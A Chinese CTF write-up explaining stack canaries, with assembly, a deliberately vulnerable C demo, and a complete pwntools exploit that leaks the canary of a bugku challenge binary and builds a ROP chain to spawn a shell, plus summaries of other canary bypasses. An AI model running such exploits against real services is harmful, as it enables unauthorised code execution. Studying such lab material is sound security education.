0x00 前言
栈溢出攻击比较常见而且比较简单,所以为了保护程序免于栈溢出攻击,就出现了Canary。
{% note primary %}
canary的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。
{% endnote %}
Canary:用于防止栈溢出被利用的一种方法,原理是在栈的ebp下面放一个随机数,在函数返回之前会检查这个数有没有被修改,就可以检测是否发生栈溢出了。
本篇研究样本:bugku-Pwn-canary
0x01 Canary详细原理
在栈底放一个随机数,在函数返回时检查是否被修改。具体实现如下:
x86 :
在函数序言部分插入canary值:
mov eax,gs:0x14
mov DWORD PTR [ebp-0xc],eax
在函数返回之前,会将该值取出,检查是否修改。这个操作即为检测是否发生栈溢出。
mov eax,DWORD PTR [ebp-0xc]
xor eax,DWORD PTR gs:0x14
je 0x80492b2 <vuln+103> # 正常函数返回
call 0x8049380 <__stack_chk_fail_local> # 调用出错处理函数
x86 栈结构大致如下:
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
| old ebp |
ebp => +-----------------+
| ebx |
ebp-4 => +-----------------+
| unknown |
ebp-8 => +-----------------+
| canary value |
ebp-12 => +-----------------+
| 局部变量 |
Low | |
Address
x64 :
函数序言:
mov rax,QWORD PTR fs:0x28
mov QWORD PTR [rbp-0x8],rax
函数返回前:
mov rax,QWORD PTR [rbp-0x8]
xor rax,QWORD PTR fs:0x28
je 0x401232 <vuln+102> # 正常函数返回
call 0x401040 <__stack_chk_fail@plt> # 调用出错处理函数
x64 栈结构大致如下:
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
| old ebp |
rbp => +-----------------+
| canary value |
rbp-8 => +-----------------+
| 局部变量 |
Low | |
Address
0x02 调试Canary
简单demo开始,先认识一下canary。
#include <stdio.h>
#include <stdlib.h>
void win()
{
puts("you win!\n");
return;
}
int main()
{
char buf[10];
char arr[10];
puts("input buf:");
read(0,&buf,100);
printf("your buf:%s\n",buf);
puts("input arr:");
read(0,&arr,100);
printf("your arr:%s\n",arr);
return 0;
}
因为Linux编译时默认保护全开的,所以需要加上参数
gcc -no-pie *.c -o canary
然后再checksec一下确认
可以尝试运行然后查看效果
这里很明显的栈溢出段错误,但是由于程序开启了canary,所以程序调用了栈溢出的保护处理函数,报错由段错误改为了已放弃
先用IDA查看一下情况
使用IDA可以更直观的看到栈内数据的相对地址关系。
Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。
gdb在看一下,下断点在0x40124B(使用IDA查看在mov rcx, [rbp+var_8]的地方)
.text:00000000004011AD main proc near ; DATA XREF: _start+21↑o
.text:00000000004011AD
.text:00000000004011AD buf = byte ptr -1Ch
......
.text:0000000000401235 028 lea rdi, aYourArrS ; "your arr:%s\n"
.text:000000000040123C 028 mov eax, 0
.text:0000000000401241 028 call _printf
.text:0000000000401246 028 mov eax, 0
.text:000000000040124B 028 mov rcx, [rbp+var_8] #给canary下断点
.text:000000000040124F 028 xor rcx, fs:28h
.text:0000000000401258 028 jz short locret_40125F
.text:000000000040125A 028 call ___stack_chk_fail #canary被更改后的处理函数
.text:000000000040125F ; ---------------------------------------------------------------------------
.text:000000000040125F
.text:000000000040125F locret_40125F: ; CODE XREF: main+AB↑j
.text:000000000040125F 028 leave
.text:0000000000401260 000 retn
.text:0000000000401260 ; } // starts at 4011AD
.text:0000000000401260 main endp
输入123和456
然后查看栈内情况 stack 50
就看到了rbp上面的就是canary,也的确是00结尾的。栈顶的rsp则是输入的123的小端序,下面就是45,6在第三行的最低位。
0x10 实践分析
0x11 程序分析
做题第一步,checksec
看到这里是打开canary和NX保护的,NX是栈不可执行,所以这里的大概只能构造ROP了
尝试运行,然后IDA分析
和demo一样的套路,两次输入两次输出。查看buf和v5的栈空间然后计算各自到canary的偏移
{% note primary %}
buf - canary = 0x240 - 8 = 0x238 = 568
v5 - canary = 0x210 - 8 = 0x208 = 520
{% endnote %}
泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程。
0x12 攻击思路
经过分析可以得到基本的攻击思路
- 获取call system的地址
- 获取'/bin/sh'的地址
- 获取popedi的地址
- 首先利用第一次的溢出泄露(输出)canary
- 第二次溢出填充时构造之前泄露的canary刚好覆盖到canary的位置上,保证canary的值不变
- 覆盖返回地址后构造ROP链获取shell
前面三步略过(看上一篇),直接开始泄露canary
#canary的相对偏移
canary_offset1 = 0x240 - 8
canary_offset2 = 0x210 - 8
所以第一次直接填充 canary_offset1个字符'a' + 回车'\n',那么回车就刚好填充的canary的低字节,因为printf
是检测到'\00'才结尾的,所以第一次输出的时候就刚好输出canary
p.sendlineafter(b':',b'a'*canary_offset1) #sendline会自动加上'\n',send则不会
p.recvuntil(b'a'*canary_offset1 + b'\n') #接收到了刚刚的输入就停下来
canary_addr = u64(b'\x00'+p.recv(7)) #再读7个字符正好,后面多余字符之后再接收
就成功的得到了canary,然后就key构造第二次输入所需要的payload了。
payload = b'a'*canary_offset2 + p64(canary_addr) + p64(1) #刚好覆盖到返回地址
payload += p64(popedi_addr) + p64(binsh_addr) + p64(system_addr) #getshell的ROP链
0x13 完整exp
from pwn import *
import sys
context.log_level = "debug"
context.terminal = ['gnome-terminal','-x','sh','-c']
#本地
if sys.argv[1] == '0':
p = process('./pwn4')
#远程
elif sys.argv[1] == '1':
p = remote("asteri5m.icu","10002") #个人靶场
#canary的相对偏移
canary_offset1 = 0x240 - 8
canary_offset2 = 0x210 - 8
p.sendlineafter(b':',b'a'*canary_offset1) #sendline会自动加上'\n',send则不会
p.recvuntil(b'a'*canary_offset1 + b'\n') #接收到了刚刚的输入就停下来
canary_addr = u64(b'\x00'+p.recv(7)) #再读7个字符正好,后面多余字符之后再接收
log.success("canary:\t" + hex(canary_addr))
system_addr = 0x40080c #这个地址本地、远程都能打通
#system_addr = 0x400660 #这个地址只能打通远端,本地会报错
binsh_addr = 0x601068
popedi_addr = 0x400963
payload = b'a'*canary_offset2 + p64(canary_addr) + p64(1) #刚好覆盖到返回地址
payload += p64(popedi_addr) + p64(binsh_addr) + p64(system_addr) #getshell的ROP链
p.sendlineafter(b':',payload)
p.interactive()
打通本地效果:
0x20 其他攻击方法
- one-by-one 爆破 Canary
one by one爆破思想是利用fork函数来不断逐字节泄露。fork函数作用是通过系统调用创建一个与原来进程几乎完全相同的进程,这里的相同也包括canary。当程序存在fork函数并触发canary时,__ stack_chk_fail函数只能关闭fork函数所建立的进程,不会让主进程退出,所以当存在大量调用fork函数时,我们可以利用它来一字节一字节的泄露,所以叫做one by one爆破。
参考链接:[CTF pwn] Canary one by one 暴破_漫小牛的博客-CSDN博客
- 劫持__stack_chk_fail 函数
与ssp leak原理类似,canary失败就会进入__stack_chk_fail()
函数,该函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持该函数(所以前提需要没有开启RELRO保护),让他不完成该功能,那么canary就形同虚设了。
注意:这种技术并不是我们一般方式的hijack GOT表,一般我们hijack GOT表是因为GOT表绑定了真实地址,我们覆盖他让程序执行其他函数。GOT表中要绑定真实地址必须是执行过一次,然而__stack_chk_fail()
函数执行第一次的时候就会报错退出,所以我们需要overwrite的尚未执行过的__stack_chk_fail()
的GOT表项,此时GOT表中应该存储stack_chk_fail PLT[1]
的地址
参考链接:Canary绕过之__stack_chk_fail劫持 - 简书 (jianshu.com)
- 覆盖 TLS 中储存的 Canary 值
已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。
例题:StarCTF2018 babystack
- c++异常机制绕过canary
例题:Shanghai-DCTF-2017 线下攻防Pwn题
- 栈地址任意写绕过canary检查
利用格式化字符串或数组下标越界,实现栈地址任意写,不必连续向栈上写,直接写ebp和ret,这样不会触发canary check